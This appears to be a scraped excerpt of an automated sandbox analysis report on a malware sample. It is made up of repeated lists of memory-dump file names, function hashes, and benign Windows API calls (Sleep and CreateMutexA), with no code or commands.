Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5b06623b7db838d22215f11d38ed55e1f79b5df76af8d2f9ae6bafc43a06b8db
Instruction ID: 5379c092b7858c78ad3ef7c9ca335a905edea66c031ff551bc94fa8ac0136775
Opcode Fuzzy Hash: 5b06623b7db838d22215f11d38ed55e1f79b5df76af8d2f9ae6bafc43a06b8db
Instruction Fuzzy Hash: 87312C31A042448BEB18DF78DC857ADB762EBCA314F285228E014BF3D5CB75A981C716

Function 00EAA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 93c8e59e95758077b78cc4b1b4e9d0cd0444b27d9a80ddc5ac44c8548444aa6f
Instruction ID: e3b6d8318503c8b7474e659bb29bdf979934cd65b6367574a48cb33a1d14e2ff
Opcode Fuzzy Hash: 93c8e59e95758077b78cc4b1b4e9d0cd0444b27d9a80ddc5ac44c8548444aa6f
Instruction Fuzzy Hash: A3312C316043448BEB18DF78DC857AEB7A2EBCA314F289229E014BB3D5C7756981C652

Function 00EA9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5bbf393dbae90d917d7999f20463e818f78264e2a1d26f58dd8dfc157f238714
Instruction ID: 86712f4f37f209642afea1505756752ddacd60c2b7369b3abaf54ffc152ea9f8
Opcode Fuzzy Hash: 5bbf393dbae90d917d7999f20463e818f78264e2a1d26f58dd8dfc157f238714
Instruction Fuzzy Hash: A9217C316043009BFB189F6CEC8576DF3A5EBC6314F244229E514FB3D5DB75A981C611

Function 00EAA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b669efe8102473e2a38bb02a4ff49d2920c143786eca889b67ffe7f97aa68980
Instruction ID: 87189586548172980add1f8b0d23cdc598d38ed00603c463c8ad51e474923dde
Opcode Fuzzy Hash: b669efe8102473e2a38bb02a4ff49d2920c143786eca889b67ffe7f97aa68980
Instruction Fuzzy Hash: 25210B312453009AFB38AB68DC5A77DB391DF8B704F286426E544BE3D1CB7AB981C153

Function 00EAA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
